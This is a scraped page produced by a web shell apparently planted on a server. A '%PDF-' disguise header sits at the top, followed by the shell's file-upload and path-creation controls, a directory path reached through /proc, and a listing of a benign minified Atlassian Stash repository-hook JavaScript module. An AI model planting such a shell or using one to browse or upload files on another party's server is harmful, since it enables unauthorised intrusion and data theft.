%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/985914/root/data/old/home/stash/stash/atlassian-stash/static/model/
Upload File :
Create Path :
Current File : //proc/985914/root/data/old/home/stash/stash/atlassian-stash/static/model/repository-hook-min.js

define("model/repository-hook",["backbone-brace","underscore","stash/api/util/navbuilder","util/ajax"],function(C,B,G,F){function D(J,L,I,K,H){return B.extend({},H,{fallbackTitle:AJS.I18n.getText("stash.web.repository.settings.hooks.notfound.fallback.title"),fallbackUrl:G.currentRepo().hooks().build(),canClose:false,shouldReload:false})}var A=C.Model.extend({idAttribute:"key",namedAttributes:{key:"string",name:"string",type:"string",description:"string",version:"string",configFormKey:"string"}});var E=C.Model.extend({namedAttributes:{details:A,enabled:"boolean",configured:"boolean"},initialize:function(){this.id=this.getDetails().getKey()},loadSettings:function(){return F.rest({url:G.rest().currentRepo().hook(this).settings().build()})},saveSettings:function(H){return F.rest({url:G.rest().currentRepo().hook(this).settings().build(),type:"PUT",data:H,statusCode:{"400":false}})},enable:function(H){var J={url:G.rest().currentRepo().hook(this).enabled().build(),type:"PUT",statusCode:{"404":D,"400":false}};if(H){J.data=H}var I=F.rest(J);I.done(B.bind(this.setEnabled,this,true));return I},disable:function(){var H=F.rest({url:G.rest().currentRepo().hook(this).enabled().build(),type:"DELETE",statusCode:{"404":D}});H.done(B.bind(this.setEnabled,this,false));return H}});E.Collection=C.Collection.extend({model:E});return E});

Zerion Mini Shell 1.0